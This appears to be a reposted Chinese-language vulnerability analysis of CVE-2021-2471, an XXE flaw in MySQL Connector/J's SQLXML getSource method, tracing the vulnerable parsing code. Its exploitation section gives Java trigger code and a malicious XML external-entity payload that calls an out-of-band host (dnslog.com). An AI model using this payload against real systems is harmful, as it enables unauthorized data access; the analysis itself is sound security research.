CVE-2021-2471 JDBC-XXE漏洞分析
2022-7-27 12:39:0 Author: 猫因的安全(查看原文) 阅读量:10 收藏

漏洞介绍

JDBC存在XXE漏洞,造成漏洞的原因主要是因为getSource方法未对传入的XML格式数据进行检验。导致攻击者可构造恶意的XML数据引入外部实体。造成XXE攻击。

影响版本: < MySQL JDBC 8.0.27

补丁定位

通告中说到漏洞是出现在驱动8.0.27之前的版本,我们就可以下载8.0.26和8.0.27两个版本的驱动,然后再用工具来对比两个代码的不同之处。

驱动下载地址:

https://cdn.mysql.com//Downloads/Connector-J/mysql-connector-java-8.0.26.zip

说到是XXE漏洞,就可以快速定位到解析XML的关键代码处:

src\main\user-impl\java\com\mysql\cj\jdbc\MysqlSQLXML.java

可以看到代码多处调用setFeature方法来预防XXE漏洞

具体预防可以看这篇文章:

https://blog.csdn.net/scmrpu/article/details/50423701

漏洞分析

通过前面的补丁定位,发现漏洞出在了getSource方法中,之后的代码我就会在8.0.26中进行分析,看看漏洞是如何造成的。

首先看到getSource方法中:

public <T extends Source> T getSource(Class<T> clazz) throws SQLException {
checkClosed();
checkWorkingWithResult();

if (clazz == null || clazz.equals(SAXSource.class)) {

} else if (clazz.equals(DOMSource.class)) {

} else if (clazz.equals(StreamSource.class)) {

} else if (clazz.equals(StAXSource.class)) {

} else {
throw SQLError.createSQLException(Messages.getString("MysqlSQLXML.2", new Object[] { clazz.toString() }),
MysqlErrorNumbers.SQL_STATE_ILLEGAL_ARGUMENT, this.exceptionInterceptor);
}
}

这里我删掉了关键功能,留了一个大致逻辑。因此读者能简单的看出该功能方法中就是判断clazz类属于哪一种Source源,来根据其具体情况做出反应。

但是在代码的DOMSource处理逻辑中,使用了DocumentBuilder.parse方法直接解析XML内容

if (clazz.equals(DOMSource.class)) {
try {
DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
builderFactory.setNamespaceAware(true);
DocumentBuilder builder = builderFactory.newDocumentBuilder();

InputSource inputSource = null;

if (this.fromResultSet) {
inputSource = new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml));
} else {
inputSource = new InputSource(new StringReader(this.stringRep));
}

return (T) new DOMSource(builder.parse(inputSource)); //sink
} catch (Throwable t) {
SQLException sqlEx = SQLError.createSQLException(t.getMessage(), MysqlErrorNumbers.SQL_STATE_ILLEGAL_ARGUMENT, t, this.exceptionInterceptor);
throw sqlEx;
}

}

这里解析了inputSource的内容,接着看inputSource是如何传入进来的:

if (this.fromResultSet) {
inputSource = new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml));
} else {
inputSource = new InputSource(new StringReader(this.stringRep));
}

这里的this.fromResultSet不出意外,基本上是false的状态,因此传入的内容就由this.stringRep控制。而该变量是由setString方法传入

@Override
public synchronized void setString(String str) throws SQLException {
checkClosed();
checkWorkingWithResult();

this.stringRep = str;
this.fromResultSet = false;
}

SQLXML

简单来说就是可供程序员通过调用ResultSet、CallableStatement 和 PreparedStatement 接口中的方法(例如 getSQLXML)来访问 XML 值。

SQLXML sqlxml = resultSet.getSQLXML(column);

同时,由于程序可能通过SQLXML的方法,来快速获取/设置xml中的某些值(如Username、Password等标签内容),可以使用sqlxml.getSource的方式获取对应的Source/Result对象。

DOMSource domSource = sqlxml.getSource(DOMSource.class);
Document document = (Document) domSource.getNode();

DOMResult domResult = sqlxml.setResult(DOMResult.class);
domResult.setNode(myNode);

漏洞利用

Statement statement = connection.createStatement();
statement.execute("select * from login_xml");
ResultSet resultSet = statement.getResultSet();
while (resultSet.next()) {
SQLXML sqlxml = resultSet.getSQLXML("passwd");
DOMSource domSource = sqlxml.getSource(DOMSource.class);
Document document = (Document) domSource.getNode();
}

首先将恶意的xml代码写入数据库

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://dnslog.com">
%remote;]>
<root/>

之后运行测试代码,触发漏洞。

Reference

[1].https://docs.oracle.com/javase/8/docs/api/java/sql/SQLXML.html
[2].https://github.com/h2database/h2database/issues/3195
本文转载先知社区

文章来源: http://mp.weixin.qq.com/s?__biz=Mzk0NjMyNDcxMg==&mid=2247495051&idx=1&sn=ebeb6f2f6ce0239a122b46b59a9a97c8&chksm=c305780cf472f11a642d04ac2a3cc3eecb4adbfc8118e7d31dfdd4599786c15d67902afa0f16#rd
如有侵权请联系:admin#unsafe.sh